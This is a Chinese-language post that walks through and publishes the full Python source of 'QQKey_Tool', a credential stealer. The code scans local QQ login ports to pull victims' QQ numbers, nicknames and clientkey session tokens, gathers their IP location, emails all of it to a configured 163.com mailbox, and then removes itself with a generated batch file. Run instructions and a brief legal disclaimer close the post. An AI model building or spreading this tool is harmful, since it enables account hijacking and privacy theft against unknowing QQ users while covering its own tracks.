整体概述

此代码的主要功能是尝试从本地端口获取在线 QQ 的相关信息,像 QQ 号、昵称、clientkey 等,接着把这些信息通过邮件发送出去,最后删除自身文件。

代码详细分析

1. 导入必要的库
1
2
3
4
5
import smtplib
from email.mime.text import MIMEText
import requests
import re
import sys,os
  • smtplib:用来实现 SMTP 协议,达成邮件的发送。
  • email.mime.text.MIMEText:用于构建邮件内容。
  • requests:用于发送 HTTP 请求。
  • re:正则表达式库,用于从响应文本里提取所需信息。
  • sysos:提供系统相关功能,如获取命令行参数、文件操作等。
2. 初始化计数器
1
count = 0

count 用于记录邮件发送失败的次数。

3. 定义 get_info 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_info(port):
session = requests.session()
login_html = session.get(
"https://xui.ptlogin2.qq.com/cgi-bin/xlogin?s_url=https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone")
q_cookies = login_html.cookies.get_dict()
pt_local_token = q_cookies.get("pt_local_token")
params = {
"callback": "ptui_getuins_CB",
"r": "0.8987470931280881",
"pt_local_tk": pt_local_token
}
headers = {
"Referer": "https://xui.ptlogin2.qq.com/",
"Host": f"localhost.ptlogin2.qq.com:{port}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"
}
get_uins_req = session.get(f"https://localhost.ptlogin2.qq.com:{port}/pt_get_uins", params=params, cookies=q_cookies,
headers=headers, timeout=3)
uins = re.findall('"uin":(\d+)',get_uins_req.text)
nickname = re.findall('"nickname":"(.*?)"',get_uins_req.text)
result = []
i = 0
for uin in uins:
params = {
"clientuin":uin,
"r":"0.9059695467741018",
"pt_local_tk":pt_local_token,
"callback":"__jp0"
}
ck_req = session.get(f"https://localhost.ptlogin2.qq.com:{port}/pt_get_st",params=params,cookies=q_cookies,headers=headers)
ck_cookies = ck_req.cookies.get_dict()
ck_cookies["nickname"] = nickname[i]
result.append(ck_cookies)
i += 1
return result
  • 该函数的作用是从指定端口获取在线 QQ 的相关信息。
  • 首先,创建一个 requests 会话,向登录页面发送请求,获取 pt_local_token
  • 然后,向 pt_get_uins 接口发送请求,运用正则表达式从响应文本中提取 QQ 号和昵称。
  • 最后,针对每个 QQ 号,向 pt_get_st 接口发送请求,获取 clientkey,并把这些信息存储在列表中返回。
4. 主循环部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
while True:
try:
while True:
result = []
i = 4300
while i < 4320:
try:
info = get_info(i)
print(info)
for j in info:
if not j.get("clientkey"):
break
else:
result.extend(info)
i += 1
continue
continue
except:
i += 1
print(i,'failed')
continue
result = [i for x,i in enumerate(result) if i not in result[:x]]
print(result)
if result:
break
  • 外层 while True 循环用于持续尝试,直至成功获取到有效的 QQ 信息。
  • 中间的 while True 循环会遍历从 4300 到 4319 的端口,调用 get_info 函数获取信息。
  • 内层 while 循环会检查获取的信息中是否包含 clientkey,若包含则添加到结果列表中。
  • 最后,对结果列表进行去重操作。
5. 获取 IP 地址信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try:
ip_data = requests.get("https://qifu-api.baidubce.com/ip/local/geo/v1/district").json()
if ip_data.get("code") == 'Success':
ip = ip_data.get("ip")
country = ip_data.get("data").get("country")
city = ip_data.get("data").get("city")
district = ip_data.get("data").get("district")
else:
ip = '未知'
country = '未知'
city = '未知'
district = '未知'
except:
ip = '未知'
country = '未知'
city = '未知'
district = '未知'
  • 向百度 IP 地址查询接口发送请求,获取当前 IP 地址的地理位置信息。若请求失败或者返回结果异常,则将信息设为 “未知”。
6. 构建邮件内容
1
2
3
4
5
6
7
8
9
10
11
12
content = f"""------------------------------------------------------
ip:{ip}
Tip: 如果邮件标题地址显示不全请访问 https://www.ip138.com 使用上方ip手动查询地址
Tip: 新版本搭建包已移除获取登录网址的功能,如需使用请转至QQKey_Tool的Key解析器使用
------------------------------------------------------\n"""
if not result:
content = "ERROR:未获取到任何在线的QQ!"
for i in result:
content += f"""昵称:{i.get("nickname")}
QQ号:{i.get("clientuin")}
clientkey:{i.get("clientkey")}
------------------------------------------------------\n"""
  • 依据获取到的 IP 地址信息和 QQ 信息构建邮件内容。若未获取到 QQ 信息,则显示错误信息。
7. 发送邮件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
while True:
# 创建邮件对象
msg = MIMEText(content)
msg['Subject'] = f'[QQKey_Tool] 获取到来自{country+city+district}某人的key'
msg['From'] = "XXX@163.com" # 这里替换为你的发件邮箱
msg['To'] = "XXX@163.com" # 这里替换为收件人的邮箱

# 登录SMTP服务器并发送邮件
try:
count += 1
server = smtplib.SMTP("smtp.163.com", 25)
# 启动TLS加密模式
server.starttls()
# 登录邮箱账号
server.login("XXX@163.com", "XXX") # 这里替换为你的发件邮箱和密码
# 发送邮件
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
break
except Exception as e:
if count >= 3:
break
  • 构建邮件对象,设置邮件主题、发件人、收件人。
  • 借助 smtplib 连接到 163 的 SMTP 服务器,启动 TLS 加密,登录邮箱账号并发送邮件。若发送失败,最多重试 3 次。
8. 删除自身文件
1
2
3
4
5
6
7
8
if os.path.basename(sys.executable) != 'python.exe':
os.chdir(os.path.dirname(sys.executable))
path = sys.argv[0]
print(path)
with open("1.bat", 'w', encoding='gbk') as f:
f.write(f"@echo off\nping -n 1 127.0.0.1>nul\ndel {path}\ndel %0")
os.startfile("1.bat")
sys.exit(0)
  • 若当前执行的不是 Python 解释器,就切换到当前执行文件所在的目录。
  • 创建一个批处理文件 1.bat,内容为删除当前执行文件和批处理文件本身。
  • 执行批处理文件,最后退出程序。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import smtplib
from email.mime.text import MIMEText
import requests
import re
import sys, os

count = 0

def get_info(port):
session = requests.session()
login_html = session.get(
"https://xui.ptlogin2.qq.com/cgi-bin/xlogin?s_url=https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone")
q_cookies = login_html.cookies.get_dict()
pt_local_token = q_cookies.get("pt_local_token")
params = {
"callback": "ptui_getuins_CB",
"r": "0.8987470931280881",
"pt_local_tk": pt_local_token
}
headers = {
"Referer": "https://xui.ptlogin2.qq.com/",
"Host": f"localhost.ptlogin2.qq.com:{port}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"
}
get_uins_req = session.get(f"https://localhost.ptlogin2.qq.com:{port}/pt_get_uins", params=params, cookies=q_cookies,
headers=headers, timeout=3)
uins = re.findall('"uin":(\d+)', get_uins_req.text)
nickname = re.findall('"nickname":"(.*?)"', get_uins_req.text)
result = []
i = 0
for uin in uins:
params = {
"clientuin": uin,
"r": "0.9059695467741018",
"pt_local_tk": pt_local_token,
"callback": "__jp0"
}
ck_req = session.get(f"https://localhost.ptlogin2.qq.com:{port}/pt_get_st", params=params, cookies=q_cookies,
headers=headers)
ck_cookies = ck_req.cookies.get_dict()
ck_cookies["nickname"] = nickname[i]
result.append(ck_cookies)
i += 1
return result


while True:
try:
while True:
result = []
i = 4300
while i < 4320:
try:
info = get_info(i)
print(info)
for j in info:
if not j.get("clientkey"):
break
else:
result.extend(info)
i += 1
continue
continue
except:
i += 1
print(i, 'failed')
continue
result = [i for x, i in enumerate(result) if i not in result[:x]]
print(result)
if result:
break
try:
ip_data = requests.get("https://qifu-api.baidubce.com/ip/local/geo/v1/district").json()
if ip_data.get("code") == 'Success':
ip = ip_data.get("ip")
country = ip_data.get("data").get("country")
city = ip_data.get("data").get("city")
district = ip_data.get("data").get("district")
else:
ip = '未知'
country = '未知'
city = '未知'
district = '未知'
except:
ip = '未知'
country = '未知'
city = '未知'
district = '未知'
content = f"""------------------------------------------------------
ip:{ip}
Tip: 如果邮件标题地址显示不全请访问 https://www.ip138.com 使用上方ip手动查询地址
Tip: 新版本搭建包已移除获取登录网址的功能,如需使用请转至QQKey_Tool的Key解析器使用
------------------------------------------------------\n"""
if not result:
content = "ERROR:未获取到任何在线的QQ!"
for i in result:
content += f"""昵称:{i.get("nickname")}
QQ号:{i.get("clientuin")}
clientkey:{i.get("clientkey")}
------------------------------------------------------\n"""
# 配置SMTP服务器信息
while True:
# 创建邮件对象
msg = MIMEText(content)
msg['Subject'] = f'[QQKey_Tool] 获取到来自{country + city + district}某人的key'
msg['From'] = "XXX@163.com" # 这里替换为你的发件邮箱
msg['To'] = "XXX@163.com" # 这里替换为收件人的邮箱

# 登录SMTP服务器并发送邮件
try:
count += 1
server = smtplib.SMTP("smtp.163.com", 25)
# 启动TLS加密模式
server.starttls()
# 登录邮箱账号
server.login("XXX@163.com", "XXX") # 这里替换为你的发件邮箱和密码
# 发送邮件
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
break
except Exception as e:
if count >= 3:
break
break
except Exception as e:
print(repr(e))
continue

if os.path.basename(sys.executable) != 'python.exe':
os.chdir(os.path.dirname(sys.executable))
path = sys.argv[0]
print(path)
with open("1.bat", 'w', encoding='gbk') as f:
f.write(f"@echo off\nping -n 1 127.0.0.1>nul\ndel {path}\ndel %0")
os.startfile("1.bat")
sys.exit(0)
使用教程

pip install requests

python main.py

注意事项

此代码可能会涉及到侵犯他人隐私和违反相关法律法规的问题,在使用时必须确保遵守法律规定。

问题请私聊QQ:3242515521